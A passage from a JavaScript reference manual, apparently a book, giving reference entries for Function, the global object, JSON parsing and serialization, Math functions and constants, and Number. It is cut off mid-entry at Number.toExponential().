An instance of the EvalError class may be thrown when the global function `eval()` is invoked under any other name. See `eval()` for an explanation of the restrictions on how this function may be invoked. See `Error` for details about throwing and catching exceptions.

See Also

`Error`, `Error.message`, `Error.name`

Function

a JavaScript function — Object → Function

Synopsis

```
function functionname(argument_name_list) // Function definition statement
{
    body
}
function (argument_name_list) {body}      // Unnamed function literal
functionname(argument_value_list)         // Function invocation
```

Constructor

```
new Function(argument_names..., body)
```

Arguments

`argument_names...`
: Any number of string arguments, each naming one or more arguments of the Function object being created.

`body`
: A string that specifies the body of the function. It may contain any number of JavaScript statements, separated with semicolons, and may refer to any of the argument names specified by previous arguments to the constructor.

Returns

A newly created Function object. Invoking the function executes the JavaScript code specified by *`body`*.

Throws

SyntaxError
: Indicates that there was a JavaScript syntax error in the *`body`* argument or in one of the *`argument_names`* arguments.

Properties

`arguments[]`
: An array of arguments that were passed to the function. Deprecated.

`caller`
: A reference to the Function object that invoked this one, or `null` if the function was invoked from top-level code. Deprecated.

`length`
: The number of named arguments specified when the function was declared.

`prototype`
: An object which, for a constructor function, defines properties and methods shared by all objects created with that constructor function.

Methods

`apply()`
: Invokes a function as a method of a specified object, passing a specified array of arguments.

`bind()`
: Return a new function that invokes this one as a method of the specified object with the optionally specified arguments.

`call()`
: Invokes a function as a method of a specified object, passing the specified arguments.

`toString()`
: Returns a string representation of the function.

Description

A function is a fundamental datatype in JavaScript. Chapter 8 explains how to define and use functions, and Chapter 9 covers the related topics of methods, constructors, and the `prototype` property of functions. See those chapters for complete details. Note that although function objects may be created with the `Function()` constructor described here, this is not efficient, and the preferred way to define functions, in most cases, is with a function definition statement or a function literal.

In JavaScript 1.1 and later, the body of a function is automatically given a local variable, named `arguments`, that refers to an Arguments object. This object is an array of the values passed as arguments to the function. Don't confuse this with the deprecated `arguments[]` property listed earlier. See the `Arguments` reference page for details.

See Also

`Arguments`; Chapter 8, Chapter 9

Function.apply()

invoke a function as a method of an object

Synopsis

function`.apply(`*thisobj, args*`)`

Arguments

thisobj
: The object to which *function* is to be applied. In the body of the function, *thisobj* becomes the value of the `this` keyword. If this argument is `null`, the global object is used.

args
: An array of values to be passed as arguments to *function*.

Returns

Whatever value is returned by the invocation of *function*.

Throws

TypeError
: If this method is invoked on an object that is not a function or if this method is invoked with an *args* argument that is not an array or an Arguments object.

Description

apply() invokes the specified *function* as if it were a method of *thisobj*, passing it the arguments contained in the *args* array. It returns the value returned by the function invocation. Within the body of the function, the this keyword refers to the *thisobj* object.

The *args* argument must be an array or an Arguments object. Use Function.call() instead if you want to specify the arguments to pass to the function individually instead of as array elements.

Example

```
// Apply the default Object.toString() method to an object that
// overrides it with its own version of the method. Note no arguments.
Object.prototype.toString.apply(o);
// Invoke the Math.max() method with apply to find the largest
// element in an array. Note that first argument doesn't matter
// in this case.
var data = [1,2,3,4,5,6,7,8];
Math.max.apply(null, data);
```

See Also

Function.call()

Function.arguments[] **deprecated**

arguments passed to a function

Synopsis

function.arguments[*i*]
function.arguments.length

Description

The arguments property of a Function object is an array of the arguments that are passed to a function. It is defined only while the function is executing. arguments.length specifies the number of elements in the array.

This property is deprecated in favor of the Arguments object; it should never be used in new JavaScript code.

See Also

Arguments

Function.bind()

ECMAScript 5

return a function that invokes this as a method

Synopsis

```
function.bind(o)
function.bind(o, args...)
```

Arguments

o
: The object to which this function should be bound.

args...
: Zero or more argument values that will also be bound.

Returns

A new function which invokes this function as a method of *o* and passes it the arguments *args*.

Description

The `bind()` method returns a new function which invokes this function as a method of the object *o*. The arguments passed to this function consist of the *args* passed to `bind()` followed by whatever values are passed to the new function.

Example

Suppose that `f` is a function and we call the `bind()` method like this:

```
var g = f.bind(o, 1, 2);
```

Now `g` is a new function and the invocation `g(3)` is equivalent to:

```
f.call(o, 1, 2, 3);
```

See Also

Function.apply(), Function.call(), §8.7.4

Function.call()

invoke a function as a method of an object

Synopsis

```
function.call(thisobj, args...)
```

Arguments

thisobj
: The object on which *function* is to be invoked. In the body of the function, *thisobj* becomes the value of the `this` keyword. If this argument is `null`, the global object is used.

args...
: Any number of arguments, which will be passed as arguments to *function*.

Returns

Whatever value is returned by the invocation of *function*.

Throws

`TypeError`
: If this method is invoked on an object that is not a function.

Description

`call()` invokes the specified *function* as if it were a method of *thisobj*, passing it any arguments that follow *thisobj* in the argument list. The return value of `call()` is the value returned by the function invocation. Within the body of the function, the `this` keyword refers to the *thisobj* object, or to the global object if *thisobj* is `null`.

Use `Function.apply()` instead if you want to specify the arguments to pass to the function in an array.

Example

```
// Call the default Object.toString() method on an object that
// overrides it with its own version of the method. Note no arguments.
Object.prototype.toString.call(o);
```

See Also

`Function.apply()`

Function.caller

deprecated; not defined in strict mode

the function that called this one

Synopsis

function`.caller`

Description

In early versions of JavaScript, the `caller` property of a Function object is a reference to the function that invoked the current one. If the function is invoked from the top level of a JavaScript program, `caller` is `null`. This property may be used only from within the function (i.e., the `caller` property is only defined for a function while that function is executing).

`Function.caller` is not part of the ECMAScript standard and is not required in conforming implementations. It should not be used.

Function.length

the number of declared arguments

Synopsis

function.length

Description

The `length` property of a function specifies the number of named arguments declared when the function was defined. The function may actually be invoked with more than or fewer than this number of arguments. Don't confuse this property of a Function object with the `length` property of the Arguments object, which specifies the number of arguments actually passed to the function. See `Arguments.length` for an example.

See Also

`Arguments.length`

Function.prototype

the prototype for a class of objects

Synopsis

function.prototype

Description

The `prototype` property is used when a function is used as a constructor. It refers to an object that serves as the prototype for an entire class of objects. Any object created by the constructor inherits all properties of the object referred to by the `prototype` property.

See Chapter 9 for a full discussion of constructor functions, the `prototype` property, and the definition of classes in JavaScript.

See Also

Chapter 9

Function.toString()

convert a function to a string

Synopsis

function.toString()

Returns

A string that represents the function.

Throws

`TypeError`
: If this method is invoked on an object that is not a Function.

Description

The `toString()` method of the Function object converts a function to a string in an implementation-dependent way. In most implementations, such as the implementations in Firefox and IE, this method returns a string of valid JavaScript code—code that includes the `function` keyword, argument list, the complete body of the function, and so on. In these implementations, the output of this `toString()` method is valid input for the global `eval()` function. This behavior is not required by the specification, however, and should not be relied upon.

Global

the global object — Object → Global

Synopsis

```
this
```

Global Properties

The global object is not a class, so the following global properties have individual reference entries under their own names. That is, you can find details on the `undefined` property listed under the name `undefined`, not under `Global.undefined`. Note that all top-level variables are also properties of the global object:

`Infinity`
: A numeric value that represents positive infinity.

`NaN`
: The not-a-number value.

`undefined`
: The `undefined` value.

Global Functions

The global object is an object, not a class. The global functions listed here are not methods of any object, and their reference entries appear under the function name. For example, you'll find details on the `parseInt()` function under `parseInt()`, not `Global.parseInt()`:

`decodeURI()`
: Decodes a string escaped with `encodeURI()`.

`decodeURIComponent()`
: Decodes a string escaped with `encodeURIComponent()`.

`encodeURI`
: Encodes a URI by escaping certain characters.

`encodeURIComponent`
: Encodes a URI component by escaping certain characters.

`escape()`
: Encodes a string by replacing certain characters with escape sequences.

`eval()`
: Evaluates a string of JavaScript code and returns the result.

`isFinite()`
: Tests whether a value is a finite number.

`isNaN()`
: Tests whether a value is the not-a-number value.

`parseFloat()`
: Parses a number from a string.

`parseInt()`
: Parses an integer from a string.

`unescape()`
: Decodes a string encoded with `escape()`.

Global Objects

In addition to the global properties and functions listed earlier, the global object also defines properties that refer to all the other predefined JavaScript objects. Most of these properties are constructor functions:

`Array`
: The `Array()` constructor.

`Boolean`
: The `Boolean()` constructor.

`Date`
: The `Date()` constructor.

`Error`
: The `Error()` constructor.

`EvalError`
: The `EvalError()` constructor.

`Function`
: The `Function()` constructor.

`JSON`
: A reference to an object that defines JSON parsing and serialization functions.

`Math`
: A reference to an object that defines mathematical functions.

`Number`
: The `Number()` constructor.

`Object`
: The `Object()` constructor.

`RangeError`
: The `RangeError()` constructor.

`ReferenceError`
: The `ReferenceError()` constructor.

`RegExp`
: The `RegExp()` constructor.

`String`
: The `String()` constructor.

`SyntaxError`
: The `SyntaxError()` constructor.

`TypeError`
: The `TypeError()` constructor.

`URIError`
: The `URIError()` constructor.

Description

The global object is a predefined object that serves as a placeholder for the global properties and functions of JavaScript. All other predefined objects, functions, and properties are accessible through the global object. The global object is not a property of any other object, so it does not have a name. (The title of this reference page was chosen simply for organizational convenience and does not indicate that the global object is named "Global"). In top-level JavaScript code, you can refer to the global object with the keyword `this`. It is rarely necessary to refer to the global object in this way, however, because the global object serves as the top of the scope chain, which means that unqualified variable and function names are looked up as properties of the object. When JavaScript code refers to the `parseInt()` function, for example, it is referring to the `parseInt` property of the global object. The fact that the global object is the top of the scope chain also means that all variables declared in top-level JavaScript code become properties of the global object.

The global object is simply an object, not a class. There is no `Global()` constructor, and there is no way to instantiate a new global object.

When JavaScript is embedded in a particular environment, the global object is usually given additional properties that are specific to that environment. In fact, the type of the global object is not specified by the ECMAScript standard, and an implementation or embedding of JavaScript may use an object of any type as the global object, as long as the object defines the basic properties and functions listed here. In client-side JavaScript, for example, the global object is a Window object and represents the web browser window within which the JavaScript code is running.

Example

In core JavaScript, none of the predefined properties of the global object are enumerable, so you can list all implicitly and explicitly declared global variables with a `for/in` loop like this:

```
var variables = ""
for(var name in this)
    variables += name + "\n";
```

See Also

`Window` in Part IV ; Chapter 3

Infinity

a numeric property that represents infinity

Synopsis

```
Infinity
```

Description

`Infinity` is a global property that contains the special numeric value representing positive infinity. The `Infinity` property is not enumerated by `for/in` loops and cannot be deleted with the `delete` operator. Note that `Infinity` is not a constant and can be set to any other value, something that you should take care not to do. (`Number.POSITIVE_INFINITY` is a constant, however.)

See Also

`isFinite()`, `NaN`, `Number.POSITIVE_INFINITY`

isFinite()

determine whether a number is finite

Synopsis

`isFinite(`*n*`)`

Arguments

n

The number to be tested.

Returns

`true` if *n* is (or can be converted to) a finite number, or `false` if *n* is `NaN` (not a number) or positive or negative infinity.

See Also

`Infinity`, `isNaN()`, `NaN`, `Number.NaN`, `Number.NEGATIVE_INFINITY`, `Number.POSITIVE_INFINITY`

isNaN()

check for not-a-number

Synopsis

```
isNaN(x)
```

Arguments

x

The value to be tested.

Returns

`true` if *x* is not a number or if it is the special numeric value NaN. It returns `false` if x is any other number.

Description

"NaN" is an acronym for "not-a-number". The global variable `NaN` holds a special numeric value (also known as `NaN`) that represents an illegal number (such as the result of zero divided by zero). `isNaN()` tests whether its argument is not a number. This function returns `false` if `x` is, or can be converted to, a number other than `NaN`. It returns `true` if *x* is not and cannot be converted to a number, or if it is equal to `NaN`.

`NaN` has the special property that it is not equal to any value including itself. So if you want to test specifically for the `NaN` value, rather than generically for any non-number, do not write `x === NaN`: that will always be `false`. Instead use the expression `x !== x`: this will evaluate to `true` only if `x` is `NaN`.

A common use of `isNaN()` is to test the results of `parseFloat()` and `parseInt()` to determine if they represent legal numbers.

Example

```
isNaN(0);                  // => false
isNaN(0/0);                // => true
isNaN(parseInt("3"));      // => false
isNaN(parseInt("hello"));  // => true
isNaN("3");                // => false
isNaN("hello");            // => true
isNaN(true);               // => false
isNaN(undefined);          // => true
```

See Also

`isFinite()`, `NaN`, `Number.NaN`, `parseFloat()`, `parseInt()`

JSON

ECMAScript 5

JSON parsing and stringification

Description

`JSON` is a simple object that serves as the namespace for the global ECMAScript 5 functions `JSON.parse()` and `JSON.stringify()`. `JSON` is not a constructor. Prior to ECMAScript 5, compatible JSON parsing and serialization functions are available from *http://json.org/json2.js*.

"JSON" stands for JavaScript Object Notation. JSON is a data serialization format based on JavaScript literals, and can represent the `null` value, the boolean values `true` and `false`, floating-point numbers (using JavaScript numeric literals), strings (using JavaScript string literals), arrays of values (using JavaScript array literal syntax) and string to value mappings (using JavaScript object literal syntax). The primitive value `undefined` as well as the numbers NaN and Infinity are not representable in JSON. JavaScript functions, Dates, RegExps and Errors are not supported either.

Example

```
// Make a deep copy of any object or array that can be JSON-serialized
function deepcopy(o) { return JSON.parse(JSON.stringify(o)); }
```

See Also

`JSON.parse()`, `JSON.stringify()`, §6.9, *http://json.org*

JSON.parse()

ECMAScript 5

parse a JSON-formatted string

Synopsis

```
JSON.parse(s)
JSON.parse(s, reviver)
```

Arguments

s
: The string to be parsed

reviver
: An optional function that can transform parsed values.

Returns

An object, array, or primitive value parsed from *s* (and optionally modified by *reviver*).

Description

`JSON.parse()` is a global function for parsing JSON-formatted strings. Typically, you pass a single string argument and `JSON.parse()` returns the JavaScript value that the string represents.

You can use the optional *reviver* argument to filter or post-process the parsed value before it is returned. If it is specified, the *reviver* function is invoked once for each primitive value (but not the objects or arrays that contain those primitive values) parsed from *s*. *reviver* is invoked with two arguments. The first is a property name—either an object property name or an array index converted to a string. The second argument is the primitive value of that object property or array element. *reviver* is invoked as a method of the object or array that contains the primitive value. As a special case, if the string *s* represents a primitive value rather than the more typical object or array, then that primitive value will be stored in a newly-created object using a property whose name is the empty string. In this case, *reviver* will be invoked once on that newly created object, with an empty string as its first argument and the primitive value as its second.

The return value of the *reviver* function becomes the new value of the named property. If *reviver* returns its second argument, then the property will remain unchanged. If reviver returns `undefined` (or returns no value at all) then the named property will be deleted from the object or array before `JSON.parse()` returns to the user.

Example

Many uses of `JSON.parse()` are trivial:

```
var data = JSON.parse(text);
```

The `JSON.stringify()` function converts Date objects to strings, and you can use a *reviver* function to reverse this transformation. The example below also filters property names and returns `undefined` to remove certain properties from the result object:

```
var data JSON.parse(text, function(name, value) {
    // Remove any values whose property name begins with an underscore
    if (name[0] == '_') return undefined;
    // If the value is a string in ISO 8601 date format convert it to a Date.
    if (typeof value === "string" &&
        /^\d\d\d\d-\d\d-\d\dT\d\d:\d\d:\d\d.\d\d\dZ$/.test(value))
        return new Date(value);
    // Otherwise, return the value unchanged
    return value
});
```

See Also

`JSON.stringify()`, §6.9

JSON.stringify() ECMAScript 5

serialize an object, array or primitive value

Synopsis

```
JSON.stringify(o)
JSON.stringify(o, filter)
JSON.stringify(o, filter, indent)
```

Arguments

o
: The object, array, or primitive value to be converted to a JSON string.

filter
: An optional function that can replace values before stringification, or an array that contains the names of properties to be stringified.

indent
: An optional argument that specifies an indentation string or the number of spaces to use for indentation when formatted human-readable output is desired. If omitted, the returned string contains no extraneous spaces and is machine-readable, but not easily human-readable.

Returns

A JSON-formatted string representing the value *o*, as filtered by *filter* and formatted according to *indent*.

Description

`JSON.stringify()` converts a primitive value, object or array to a JSON-formatted string that can later be parsed with `JSON.parse()`. Usually, this function is called with a single argument and returns the corresponding string.

When `JSON.stringify()` is called with a single argument, and when that value consists only of objects, arrays, strings, numbers, booleans and the `null` value the stringification is completely straightforward. When the value to be stringified contains objects that are instances of a class, however, the stringification process is more complex. If `JSON.stringify()` encounters any object (or array) with a method named `toJSON()`, it invokes that method on the object and stringifies the return value instead of the object itself. It invokes `toJSON()` with a single string argument which is the property name or array index of the object. The Date class defines a `toJSON()` method that converts Dates to strings using the `Date.toISOString()` method. No other built-in JavaScript class defines a `toJSON()` method, but you can define them for your own classes. Remember that, despite its name, `toJSON()` does not have to stringify the object on which it is invoked: it merely has to return a value that will be stringified in place of the original object.

The second argument to `JSON.stringify()` allows a second layer of filtering for the stringification process. This optional argument may be a function or an array and the two cases provide completely different filtering functionality. If you pass a function, it is a replacer function, and works something like the `toJSON()` method described above. If specified, the replacer function is invoked for each value to be stringified. The `this` value is the object or array within which the value is defined. The first argument to the replacer function is the object property name or array index of the value within that object, and the second argument is the value itself. That value is replaced by the return value of the replacer function. If the replacer returns `undefined` or returns nothing at all, then that value (and its array element or object property) are omitted from the stringification.

If an array of strings (or numbers—they are converted to strings) is passed instead as the second argument, these are used as the names of object properties. Any property whose name

is not in the array will be omitted from stringification. Furthermore, the returned string will include properties in the same order that they appear in the array.

`JSON.stringify()` normally returns a machine-readable string without any whitespace or newlines inserted. If you want the output to be more human readable, specify a third argument. If you specify a number between 1 and 10, `JSON.stringify()` will insert newlines and use the specified number of spaces to indent each "level" of output. If you specify a non-empty string instead, `JSON.stringify()` will insert newlines and use that string (or the first 10 characters of it) to indent each level.

Examples

```
// Basic serialization
var text = JSON.stringify(data);

// Specify exactly what fields to serialize
var text = JSON.stringify(address, ["city","state","country"]);

// Specify a replacer function so that RegExp objects can be serialized
var text = JSON.stringify(patterns, function(key, value) {
    if (value.constructor === RegExp) return value.toString();
    return value;
});

// Or acheive the same replacement like this:
RegExp.prototype.toJSON = function() { return this.toString(); }
```

See Also

`JSON.parse()`, §6.9

Math

mathematical functions and constants

Synopsis

```
Math.constant
Math.function()
```

Constants

`Math.E`
: The constant *e*, the base of the natural logarithm.

`Math.LN10`
: The natural logarithm of 10.

`Math.LN2`
: The natural logarithm of 2.

`Math.LOG10E`
: The base-10 logarithm of *e*.

Download from Wow! eBook <www.wowebook.com>

`Math.LOG2E`
: The base-2 logarithm of *e*.

`Math.PI`
: The constant π.

`Math.SQRT1_2`
: The number 1 divided by the square root of 2.

`Math.SQRT2`
: The square root of 2.

Static Functions

`Math.abs()`
: Computes an absolute value.

`Math.acos()`
: Computes an arccosine.

`Math.asin()`
: Computes an arcsine.

`Math.atan()`
: Computes an arctangent.

`Math.atan2()`
: Computes the angle from the X axis to a point.

`Math.ceil()`
: Rounds a number up.

`Math.cos()`
: Computes a cosine.

`Math.exp()`
: Computes a power of *e*.

`Math.floor()`
: Rounds a number down.

`Math.log()`
: Computes a natural logarithm.

`Math.max()`
: Returns the larger of two numbers.

`Math.min()`
: Returns the smaller of two numbers.

`Math.pow()`
: Computes x^y

`Math.random()`
: Computes a random number.

`Math.round()`
: Rounds to the nearest integer.

`Math.sin()`
: Computes a sine.

`Math.sqrt()`
: Computes a square root.

`Math.tan()`
: Computes a tangent.

Description

Math is an object that defines properties that refer to useful mathematical functions and constants. These functions and constants are invoked with syntax like this:

```
y = Math.sin(x);
area = radius * radius * Math.PI;
```

Math is not a class of objects as Date and String are. There is no `Math()` constructor, and functions like `Math.sin()` are simply functions, not methods that operate on an object.

See Also

`Number`

Math.abs()

compute an absolute value

Synopsis

`Math.abs(`*x*`)`

Arguments

x
: Any number.

Returns

The absolute value of *x*.

Math.acos()

compute an arccosine

Synopsis

`Math.acos(`*x*`)`

Arguments

x
: A number between –1.0 and 1.0.

Returns

The arccosine, or inverse cosine, of the specified value *x*. This return value is between 0 and π radians.

Math.asin()

compute an arcsine

Synopsis

```
Math.asin(x)
```

Arguments

x
: A number between –1.0 and 1.0.

Returns

The arcsine of the specified value *x*. This return value is between -π/2 and π/2 radians.

Math.atan()

compute an arctangent

Synopsis

```
Math.atan(x)
```

Arguments

x
: Any number.

Returns

The arc tangent of the specified value *x*. This return value is between -π/2 and π/2 radians.

Math.atan2()

compute the angle from the X axis to a point

Synopsis

```
Math.atan2(y, x)
```

Arguments

y
: The Y coordinate of the point.

x
: The X coordinate of the point.

Returns

A value between -π and π radians that specifies the counterclockwise angle between the positive X axis and the point (*x*, *y*).

Description

The `Math.atan2()` function computes the arc tangent of the ratio *y*/*x*. The *y* argument can be considered the Y coordinate (or "rise") of a point, and the *x* argument can be considered the X coordinate (or "run") of the point. Note the unusual order of the arguments to this function: the Y coordinate is passed before the X coordinate.

Math.ceil()

round a number up

Synopsis

`Math.ceil(x)`

Arguments

x
: Any numeric value or expression.

Returns

The closest integer greater than or equal to *x*.

Description

`Math.ceil()` computes the ceiling function—i.e., it returns the closest integer value that is greater than or equal to the function argument. `Math.ceil()` differs from `Math.round()` in that it always rounds up, rather than rounding up or down to the closest integer. Also note that `Math.ceil()` does not round negative numbers to larger negative numbers; it rounds them up toward zero.

Example

```
a = Math.ceil(1.99);   // Result is 2.0
b = Math.ceil(1.01);   // Result is 2.0
c = Math.ceil(1.0);    // Result is 1.0
d = Math.ceil(-1.99);  // Result is -1.0
```

Math.cos()

compute a cosine

Synopsis

```
Math.cos(x)
```

Arguments

x

An angle, measured in radians. To convert degrees to radians, multiply the degree value by 0.017453293 ($2\pi/360$).

Returns

The cosine of the specified value *x*. This return value is between –1.0 and 1.0.

Math.E

the mathematical constant *e*

Synopsis

```
Math.E
```

Description

`Math.E` is the mathematical constant *e*, the base of the natural logarithm, with a value of approximately 2.71828.

Math.exp()

compute e^x

Synopsis

```
Math.exp(x)
```

Arguments

x

A numeric value or expression to be used as the exponent.

Returns

e^x , *e* raised to the power of the specified exponent *x*, where *e* is the base of the natural logarithm, with a value of approximately 2.71828.

Math.floor()

round a number down

Synopsis

```
Math.floor(x)
```

Arguments

x

Any numeric value or expression.

Returns

The closest integer less than or equal to *x*.

Description

`Math.floor()` computes the floor function; in other words, it returns the nearest integer value that is less than or equal to the function argument.

`Math.floor()` rounds a floating-point value down to the closest integer. This behavior differs from that of `Math.round()`, which rounds up or down to the nearest integer. Also note that `Math.floor()` rounds negative numbers down (i.e., to be more negative), not up (i.e., closer to zero).

Example

```
a = Math.floor(1.99);    // Result is 1.0
b = Math.floor(1.01);    // Result is 1.0
c = Math.floor(1.0);     // Result is 1.0
d = Math.floor(-1.01);   // Result is -2.0
```

Math.LN10

the mathematical constant $\log_e 10$

Synopsis

```
Math.LN10
```

Description

`Math.LN10` is $\log_e 10$, the natural logarithm of 10. This constant has a value of approximately 2.3025850929940459011.

Math.LN2

the mathematical constant $\log_e 2$

Synopsis

```
Math.LN2
```

Description

`Math.LN2` is $\log_e 2$, the natural logarithm of 2. This constant has a value of approximately 0.69314718055994528623.

Math.log()

compute a natural logarithm

Synopsis

```
Math.log(x)
```

Arguments

x

Any numeric value or expression greater than zero.

Returns

The natural logarithm of *x*.

Description

`Math.log()` computes $\log_e x$, the natural logarithm of its argument. The argument must be greater than zero.

You can compute the base-10 and base-2 logarithms of a number with these formulas:

$$\log_{10} x = \log_{10} e \cdot \log_e x$$
$$\log_2 x = \log_2 e \cdot \log_e x$$

These formulas translate into the following JavaScript functions:

```
function log10(x) { return Math.LOG10E * Math.log(x); }
function log2(x) { return  Math.LOG2E * Math.log(x); }
```

Math.LOG10E

the mathematical constant $\log_{10} e$

Synopsis

```
Math.LOG10E
```

Description

`Math.LOG10E` is $\log_{10} e$ the base-10 logarithm of the constant *e*. It has a value of approximately 0.43429448190325181667.

Math.LOG2E

the mathematical constant $\log_2 e$

Synopsis

```
Math.LOG2E
```

Description

`Math.LOG2E` is $\log_2 e$ the base-2 logarithm of the constant *e*. It has a value of approximately 1.442695040888963387.

Math.max()

return the largest argument

Synopsis

```
Math.max(args...)
```

Arguments

`args...`
: Zero or more values.

Returns

The largest of the arguments. Returns `-Infinity` if there are no arguments. Returns `NaN` if any of the arguments is `NaN` or is a nonnumeric value that cannot be converted to a number.

Math.min()

return the smallest argument

Synopsis

```
Math.min(args...)
```

Arguments

`args...`
: Any number of arguments.

Returns

The smallest of the specified arguments. Returns `Infinity` if there are no arguments. Returns `NaN` if any argument is `NaN` or is a nonnumeric value that cannot be converted to a number.

Math.PI

the mathematical constant π

Synopsis

```
Math.PI
```

Description

`Math.PI` is the constant π or pi, the ratio of the circumference of a circle to its diameter. It has a value of approximately 3.14159265358979.

Math.pow()

compute x^y

Synopsis

```
Math.pow(x, y)
```

Arguments

x

The number to be raised to a power.

y

The power that *x* is to be raised to.

Returns

x to the power of *y*, x^y

Description

`Math.pow()` computes *x* to the power of *y*. Any values of *x* and *y* may be passed to `Math.pow()`. However, if the result is an imaginary or complex number, `Math.pow()` returns `NaN`. In practice, this means that if *x* is negative, *y* should be a positive or negative integer. Also, bear in mind that large exponents can easily cause floating-point overflow and return a value of `Infinity`.

Math.random()

return a pseudorandom number

Synopsis

```
Math.random()
```

Returns

A pseudorandom number greater than or equal to 0.0 and less than 1.0.

Math.round()

round to the nearest integer

Synopsis

```
Math.round(x)
```

Arguments

x

Any number.

Returns

The integer closest to *x*.

Description

`Math.round()` rounds its argument up or down to the nearest integer. It rounds .5 up. For example, it rounds 2.5 to 3 and rounds –2.5 to –2.

Math.sin()

compute a sine

Synopsis

`Math.sin(x)`

Arguments

x

An angle, in radians. To convert degrees to radians, multiply by 0.017453293 (2π/360).

Returns

The sine of *x*. This return value is between –1.0 and 1.0.

Math.sqrt()

compute a square root

Synopsis

`Math.sqrt(x)`

Arguments

x

A numeric value greater than or equal to zero.

Returns

The square root of *x*. Returns `NaN` if *x* is less than zero.

Description

`Math.sqrt()` computes the square root of a number. Note, however, that you can compute arbitrary roots of a number with `Math.pow()`. For example:

```
Math.cuberoot = function(x){ return Math.pow(x,1/3); }
Math.cuberoot(8);  // Returns 2
```

Math.SQRT1_2

the mathematical constant 1/√2

Synopsis

`Math.SQRT1_2`

Description

`Math.SQRT1_2` is 1/√2 the reciprocal of the square root of 2. This constant has a value of approximately 0.7071067811865476.

Math.SQRT2

the mathematical constant √2

Synopsis

```
Math.SQRT2
```

Description

`Math.SQRT2` is the constant √2, the square root of 2. This constant has a value of approximately 1.414213562373095.

Math.tan()

compute a tangent

Synopsis

```
Math.tan(x)
```

Arguments

x

An angle, measured in radians. To convert degrees to radians, multiply the degree value by 0.017453293 (2π/360).

Returns

The tangent of the specified angle *x*.

NaN

the not-a-number property

Synopsis

```
NaN
```

Description

`NaN` is a global property that refers to the special numeric not-a-number value. The `NaN` property is not enumerated by `for/in` loops and cannot be deleted with the `delete` operator. Note that `NaN` is not a constant and can be set to any other value, something that you should take care not to do.

To determine if a value is not a number, use `isNaN()`, because `NaN` always compares as nonequal to any other value, including itself!

See Also

`Infinity`, `isNaN()`, `Number.NaN`

Number

support for numbers — Object → Number

Constructor

```
new Number(value)
Number(value)
```

Arguments

value
: The numeric value of the Number object being created or a value to be converted to a number.

Returns

When `Number()` is used with the `new` operator as a constructor, it returns a newly constructed Number object. When `Number()` is invoked as a function without the `new` operator, it converts its argument to a primitive numeric value and returns that value (or `NaN` if the conversion failed).

Constants

`Number.MAX_VALUE`
: The largest representable number.

`Number.MIN_VALUE`
: The smallest representable number.

`Number.NaN`
: Not-a-number value.

`Number.NEGATIVE_INFINITY`
: Negative infinite value; returned on overflow.

`Number.POSITIVE_INFINITY`
: Infinite value; returned on overflow.

Methods

`toString()`
: Converts a number to a string using a specified radix (base).

`toLocaleString()`
: Converts a number to a string using local number-formatting conventions.

`toFixed()`
: Converts a number to a string that contains a specified number of digits after the decimal place.

`toExponential()`
: Converts a number to a string using exponential notation with the specified number of digits after the decimal place.

`toPrecision()`
: Converts a number to a string using the specified number of significant digits. Uses exponential or fixed-point notation depending on the size of the number and the number of significant digits specified.

`valueOf()`
: Returns the primitive numeric value of a Number object.

Description

Numbers are a basic, primitive datatype in JavaScript. JavaScript also supports the Number object, which is a wrapper object around a primitive numeric value. JavaScript automatically converts between the primitive and object forms as necessary. You can explicitly create a Number object with the `Number()` constructor, although there is rarely any need to do so.

The `Number()` constructor can also be used without the `new` operator, as a conversion function. When invoked in this way, it attempts to convert its argument to a number and returns the primitive numeric value (or `NaN`) that results from the conversion.

The `Number()` constructor is also used as a placeholder for five useful numeric constants: the largest and smallest representable numbers, positive and negative infinity, and the special `NaN` value. Note that these values are properties of the `Number()` constructor function itself, not of individual number objects. For example, you can use the `MAX_VALUE` property as follows:

```
var biggest = Number.MAX_VALUE
```

but *not* like this:

```
var n = new Number(2);
var biggest = n.MAX_VALUE
```

By contrast, the `toString()` and other methods of the Number object are methods of each Number object, not of the `Number()` constructor function. As noted earlier, JavaScript automatically converts from primitive numeric values to Number objects whenever necessary. This means that you can use the Number methods with primitive numeric values as well as with Number objects.

```
var value = 1234;
var binary_value = n.toString(2);
```

See Also

`Infinity`, `Math`, `NaN`

Number.MAX_VALUE

the maximum numeric value

Synopsis

```
Number.MAX_VALUE
```

Description

`Number.MAX_VALUE` is the largest number representable in JavaScript. Its value is approximately 1.79E+308.

Number.MIN_VALUE

the minimum numeric value

Synopsis

```
Number.MIN_VALUE
```

Description

`Number.MIN_VALUE` is the smallest (closest to zero, not most negative) number representable in JavaScript. Its value is approximately 5E-324.

Number.NaN

the special not-a-number value

Synopsis

```
Number.NaN
```

Description

`Number.NaN` is a special value that indicates that the result of some mathematical operation (such as taking the square root of a negative number) is not a number. `parseInt()` and `parseFloat()` return this value when they cannot parse the specified string, and you might use `Number.NaN` in a similar way to indicate an error condition for some function that normally returns a valid number.

JavaScript prints the `Number.NaN` value as `NaN`. Note that the `NaN` value always compares as unequal to any other number, including `NaN` itself. Thus, you cannot check for the not-a-number value by comparing to `Number.NaN`; use the `isNaN()` function instead. In ECMAScript v1 and later, you can also use the predefined global property `NaN` instead of `Number.NaN`.

See Also

`isNaN()`, `NaN`

Number.NEGATIVE_INFINITY

negative infinity

Synopsis

```
Number.NEGATIVE_INFINITY
```

Description

`Number.NEGATIVE_INFINITY` is a special numeric value that is returned when an arithmetic operation or mathematical function generates a negative value greater than the largest representable number in JavaScript (i.e., more negative than `-Number.MAX_VALUE`).

JavaScript displays the `NEGATIVE_INFINITY` value as `-Infinity`. This value behaves mathematically like infinity; for example, anything multiplied by infinity is infinity, and anything divided by infinity is zero. In ECMAScript v1 and later, you can also use `-Infinity` instead of `Number.NEGATIVE_INFINITY`.

See Also

`Infinity`, `isFinite()`

Number.POSITIVE_INFINITY

infinity

Synopsis

```
Number.POSITIVE_INFINITY
```

Description

`Number.POSITIVE_INFINITY` is a special numeric value returned when an arithmetic operation or mathematical function overflows or generates a value greater than the largest representable number in JavaScript (i.e., greater than `Number.MAX_VALUE`). Note that when numbers "underflow," or become less than `Number.MIN_VALUE`, JavaScript converts them to zero.

JavaScript displays the `POSITIVE_INFINITY` value as `Infinity`. This value behaves mathematically like infinity; for example, anything multiplied by infinity is infinity, and anything divided by infinity is zero. In ECMAScript v1 and later, you can also use the predefined global property `Infinity` instead of `Number.POSITIVE_INFINITY`.

See Also

`Infinity`, `isFinite()`

Number.toExponential()

format a number using exponential notation

Synopsis

```
number.toExponential(digits)
```

Arguments

digits

The number of digits that appears after the decimal point. This may be a value between 0 and 20, inclusive, and implementations may optionally support a larger range of values. If this argument is omitted, as many digits as necessary are used.

Returns

